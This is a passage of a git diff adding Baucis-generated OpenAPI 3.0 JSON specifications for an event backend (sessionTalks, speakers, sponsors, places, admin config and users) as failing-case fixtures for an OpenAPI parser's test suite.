+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSessionTalkById",
+                "summary": "Delete a sessionTalk by its unique ID",
+                "description": "Deletes an existing sessionTalk by its ID.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            }
+        },
+        "/sessionTalks": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/SessionTalk"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "querySessionTalk",
+                "summary": "Query some sessionTalks",
+                "description": "Query over sessionTalks.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/SessionTalk"
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "createSessionTalk",
+                "summary": "Create some sessionTalks",
+                "description": "Create one or more sessionTalks.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/SessionTalk"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSessionTalkByQuery",
+                "summary": "Delete some sessionTalks by query",
+                "description": "Delete all sessionTalks matching the specified query.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            }
+        },
+        "/speakers/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Speaker"
+                        }
+                    },
+                    "404": {
+                        "description": "No speaker was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "getSpeakerById",
+                "summary": "Get a speaker by its unique ID",
+                "description": "Retrieve a speaker by its ID.",
+                "tags": [
+                    "speaker"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Speaker"
+                        }
+                    },
+                    "404": {
+                        "description": "No speaker was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a speaker by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/speaker"
+                            }
+                        }
+                    }
+                },
+                "operationId": "updateSpeaker",
+                "summary": "Modify a speaker by its unique ID",
+                "description": "Update an existing speaker by its ID.",
+                "tags": [
+                    "speaker"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Speaker"
+                        }
+                    },
+                    "404": {
+                        "description": "No speaker was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSpeakerById",
+                "summary": "Delete a speaker by its unique ID",
+                "description": "Deletes an existing speaker by its ID.",
+                "tags": [
+                    "speaker"
+                ]
+            }
+        },
+        "/speakers": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Speaker"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No speakers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "querySpeaker",
+                "summary": "Query some speakers",
+                "description": "Query over speakers.",
+                "tags": [
+                    "speaker"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Speaker"
+                        }
+                    },
+                    "404": {
+                        "description": "No speakers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "createSpeaker",
+                "summary": "Create some speakers",
+                "description": "Create one or more speakers.",
+                "tags": [
+                    "speaker"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Speaker"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No speakers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSpeakerByQuery",
+                "summary": "Delete some speakers by query",
+                "description": "Delete all speakers matching the specified query.",
+                "tags": [
+                    "speaker"
+                ]
+            }
+        },
+        "/sponsors/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Sponsor"
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsor was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "getSponsorById",
+                "summary": "Get a sponsor by its unique ID",
+                "description": "Retrieve a sponsor by its ID.",
+                "tags": [
+                    "sponsor"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Sponsor"
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsor was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a sponsor by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/sponsor"
+                            }
+                        }
+                    }
+                },
+                "operationId": "updateSponsor",
+                "summary": "Modify a sponsor by its unique ID",
+                "description": "Update an existing sponsor by its ID.",
+                "tags": [
+                    "sponsor"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Sponsor"
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsor was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSponsorById",
+                "summary": "Delete a sponsor by its unique ID",
+                "description": "Deletes an existing sponsor by its ID.",
+                "tags": [
+                    "sponsor"
+                ]
+            }
+        },
+        "/sponsors": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Sponsor"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsors matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "querySponsor",
+                "summary": "Query some sponsors",
+                "description": "Query over sponsors.",
+                "tags": [
+                    "sponsor"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Sponsor"
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsors matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "createSponsor",
+                "summary": "Create some sponsors",
+                "description": "Create one or more sponsors.",
+                "tags": [
+                    "sponsor"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Sponsor"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No sponsors matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deleteSponsorByQuery",
+                "summary": "Delete some sponsors by query",
+                "description": "Delete all sponsors matching the specified query.",
+                "tags": [
+                    "sponsor"
+                ]
+            }
+        }
+    },
+    "components": {
+        "schemas": {
+            "_config": {
+                "required": [
+                    "key"
+                ],
+                "properties": {
+                    "key": {
+                        "type": "string"
+                    },
+                    "value": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_webhooks": {
+                "required": [
+                    "enabled",
+                    "resource",
+                    "operation",
+                    "httpMethod",
+                    "urlTemplate"
+                ],
+                "properties": {
+                    "enabled": {
+                        "type": "boolean"
+                    },
+                    "resource": {
+                        "type": "string"
+                    },
+                    "operation": {
+                        "type": "string"
+                    },
+                    "httpMethod": {
+                        "type": "string"
+                    },
+                    "urlTemplate": {
+                        "type": "string"
+                    },
+                    "parameters": {
+                        "type": "array",
+                        "items": {
+                            "$ref": "#/components/schemas/_webhooksParameters"
+                        }
+                    },
+                    "contentType": {
+                        "type": "string"
+                    },
+                    "bodyTemplate": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_webhooksParameters": {
+                "required": [
+                    "type",
+                    "key"
+                ],
+                "properties": {
+                    "type": {
+                        "type": "string"
+                    },
+                    "key": {
+                        "type": "string"
+                    },
+                    "value": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_users": {
+                "required": [
+                    "accountType",
+                    "username",
+                    "createdAt",
+                    "enabled",
+                    "role"
+                ],
+                "properties": {
+                    "accountType": {
+                        "type": "string"
+                    },
+                    "username": {
+                        "type": "string"
+                    },
+                    "password": {
+                        "type": "string"
+                    },
+                    "token": {
+                        "type": "string"
+                    },
+                    "createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "lastAccessOn": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "enabled": {
+                        "type": "boolean"
+                    },
+                    "role": {
+                        "type": "string"
+                    },
+                    "description": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_providers": {
+                "required": [
+                    "name",
+                    "enable",
+                    "autoEnroll",
+                    "order"
+                ],
+                "properties": {
+                    "name": {
+                        "type": "string"
+                    },
+                    "enable": {
+                        "type": "boolean"
+                    },
+                    "autoEnroll": {
+                        "type": "boolean"
+                    },
+                    "defaultRole": {
+                        "type": "string"
+                    },
+                    "order": {
+                        "type": "number",
+                        "format": "double"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "_permissions": {
+                "required": [
+                    "role",
+                    "resource"
+                ],
+                "properties": {
+                    "role": {
+                        "type": "string"
+                    },
+                    "resource": {
+                        "type": "string"
+                    },
+                    "operations.allow": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "operations.deny": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "horizontalSecurity.type": {
+                        "type": "string"
+                    },
+                    "fields.allow": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "fields.deny": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "Place": {
+                "required": [
+                    "name",
+                    "location.type"
+                ],
+                "properties": {
+                    "_ownerId": {
+                        "type": "string"
+                    },
+                    "_createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "address": {
+                        "type": "string"
+                    },
+                    "city": {
+                        "type": "string"
+                    },
+                    "zipCode": {
+                        "type": "number",
+                        "format": "double"
+                    },
+                    "image": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "location.type": {
+                        "type": "string"
+                    },
+                    "location.coordinates": {
+                        "type": "array",
+                        "items": {
+                            "type": "string"
+                        }
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "SessionTalk": {
+                "required": [
+                    "sessionType",
+                    "name",
+                    "track",
+                    "language"
+                ],
+                "properties": {
+                    "_ownerId": {
+                        "type": "string"
+                    },
+                    "_createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "sessionType": {
+                        "type": "string"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "track": {
+                        "type": "number",
+                        "format": "double"
+                    },
+                    "language": {
+                        "type": "string"
+                    },
+                    "starts": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "ends": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "description": {
+                        "type": "string"
+                    },
+                    "speaker": {
+                        "$ref": "#/components/schemas/Speaker"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "Speaker": {
+                "required": [
+                    "name",
+                    "surname"
+                ],
+                "properties": {
+                    "_ownerId": {
+                        "type": "string"
+                    },
+                    "_createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "surname": {
+                        "type": "string"
+                    },
+                    "photo": {
+                        "type": "string"
+                    },
+                    "blog": {
+                        "type": "string"
+                    },
+                    "twitter": {
+                        "type": "string"
+                    },
+                    "linkedin": {
+                        "type": "string"
+                    },
+                    "github": {
+                        "type": "string"
+                    },
+                    "bio": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "Sponsor": {
+                "required": [
+                    "name",
+                    "level",
+                    "logo"
+                ],
+                "properties": {
+                    "_ownerId": {
+                        "type": "string"
+                    },
+                    "_createdAt": {
+                        "type": "string",
+                        "format": "date-time"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "level": {
+                        "type": "string"
+                    },
+                    "logo": {
+                        "type": "string"
+                    },
+                    "_id": {
+                        "type": "string"
+                    },
+                    "__v": {
+                        "type": "number",
+                        "format": "int32"
+                    },
+                    "id": {
+                        "type": "string"
+                    }
+                }
+            },
+            "ValidationError": {
+                "required": [
+                    "message",
+                    "name",
+                    "kind",
+                    "path"
+                ],
+                "properties": {
+                    "properties": {
+                        "$ref": "#/components/schemas/ValidationErrorProperties"
+                    },
+                    "message": {
+                        "type": "string"
+                    },
+                    "name": {
+                        "type": "string"
+                    },
+                    "kind": {
+                        "type": "string"
+                    },
+                    "path": {
+                        "type": "string"
+                    }
+                }
+            },
+            "ValidationErrorProperties": {
+                "required": [
+                    "type",
+                    "message",
+                    "path"
+                ],
+                "properties": {
+                    "type": {
+                        "type": "string"
+                    },
+                    "message": {
+                        "type": "string"
+                    },
+                    "path": {
+                        "type": "string"
+                    }
+                }
+            }
+        },
+        "responses": {},
+        "parameters": {
+            "id": {
+                "name": "id",
+                "in": "path",
+                "description": "The identifier of the resource.",
+                "type": "string",
+                "required": true
+            },
+            "skip": {
+                "name": "skip",
+                "in": "query",
+                "description": "How many documents to skip. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#skip)",
+                "type": "integer",
+                "format": "int32",
+                "required": false
+            },
+            "limit": {
+                "name": "limit",
+                "in": "query",
+                "description": "The maximum number of documents to send. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#limit)",
+                "type": "integer",
+                "format": "int32",
+                "required": false
+            },
+            "count": {
+                "name": "count",
+                "in": "query",
+                "description": "Set to true to return count instead of documents. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#count)",
+                "type": "boolean",
+                "required": false
+            },
+            "conditions": {
+                "name": "conditions",
+                "in": "query",
+                "description": "Set the conditions used to find or remove the document(s). [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#conditions)",
+                "type": "string",
+                "required": false
+            },
+            "sort": {
+                "name": "sort",
+                "in": "query",
+                "description": "Set the fields by which to sort. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#sort)",
+                "type": "string",
+                "required": false
+            },
+            "distinct": {
+                "name": "distinct",
+                "in": "query",
+                "description": "Set to a path name to retrieve an array of distinct values. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#distinct)",
+                "type": "string",
+                "required": false
+            },
+            "hint": {
+                "name": "hint",
+                "in": "query",
+                "description": "Add an index hint to the query (must be enabled per controller). [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#hint)",
+                "type": "string",
+                "required": false
+            },
+            "comment": {
+                "name": "comment",
+                "in": "query",
+                "description": "Add a comment to a query (must be enabled per controller). [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#comment)",
+                "type": "string",
+                "required": false
+            },
+            "select": {
+                "name": "select",
+                "in": "query",
+                "description": "Select which paths will be returned by the query. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#select)",
+                "type": "string",
+                "required": false
+            },
+            "populate": {
+                "name": "populate",
+                "in": "query",
+                "description": "Specify which paths to populate. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#populate)",
+                "type": "string",
+                "required": false
+            },
+            "X-Baucis-Update-Operator": {
+                "name": "X-Baucis-Update-Operator",
+                "in": "header",
+                "description": "**BYPASSES VALIDATION** May be used with PUT to update the document using $push, $pull, or $set. [doc](https://github.com/wprl/baucis/wiki/HTTP-Headers)",
+                "type": "string",
+                "required": false
+            }
+        },
+        "examples": {},
+        "requestBodies": {},
+        "headers": {},
+        "securitySchemes": {},
+        "links": {},
+        "callbacks": {}
+    }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/openapi2.json b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/openapi2.json
new file mode 100644
index 0000000..00b79f5
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/event-backend/openapi2.json
@@ -0,0 +1,3107 @@
+{
+    "openapi": "3.0.0",
+    "info": {
+        "title": "api",
+        "description": "Baucis generated OpenAPI v.3 documentation.",
+        "version": "0.0.1"
+    },
+    "servers": [
+        {
+            "url": "/api"
+        }
+    ],
+    "tags": [
+        {
+            "name": "_config",
+            "description": "_config resource.",
+            "x-resource": true
+        },
+        {
+            "name": "_webhooks",
+            "description": "_webhooks resource.",
+            "x-resource": true
+        },
+        {
+            "name": "_users",
+            "description": "_users resource.",
+            "x-resource": true
+        },
+        {
+            "name": "_providers",
+            "description": "_providers resource.",
+            "x-resource": true
+        },
+        {
+            "name": "_permissions",
+            "description": "_permissions resource.",
+            "x-resource": true
+        },
+        {
+            "name": "place",
+            "description": "Place resource.",
+            "x-resource": true
+        },
+        {
+            "name": "sessionTalk",
+            "description": "SessionTalk resource.",
+            "x-resource": true
+        },
+        {
+            "name": "speaker",
+            "description": "Speaker resource.",
+            "x-resource": true
+        },
+        {
+            "name": "sponsor",
+            "description": "Sponsor resource.",
+            "x-resource": true
+        }
+    ],
+    "paths": {
+        "/admin-config/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_config"
+                        }
+                    },
+                    "404": {
+                        "description": "No _config was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_configById",
+                "summary": "Get a _config by its unique ID",
+                "description": "Retrieve a _config by its ID.",
+                "tags": [
+                    "_config"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_config"
+                        }
+                    },
+                    "404": {
+                        "description": "No _config was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a _config by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/_config"
+                            }
+                        }
+                    }
+                },
+                "operationId": "update_config",
+                "summary": "Modify a _config by its unique ID",
+                "description": "Update an existing _config by its ID.",
+                "tags": [
+                    "_config"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_config"
+                        }
+                    },
+                    "404": {
+                        "description": "No _config was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_configById",
+                "summary": "Delete a _config by its unique ID",
+                "description": "Deletes an existing _config by its ID.",
+                "tags": [
+                    "_config"
+                ]
+            }
+        },
+        "/admin-config": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_config"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-config matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_config",
+                "summary": "Query some admin-config",
+                "description": "Query over admin-config.",
+                "tags": [
+                    "_config"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
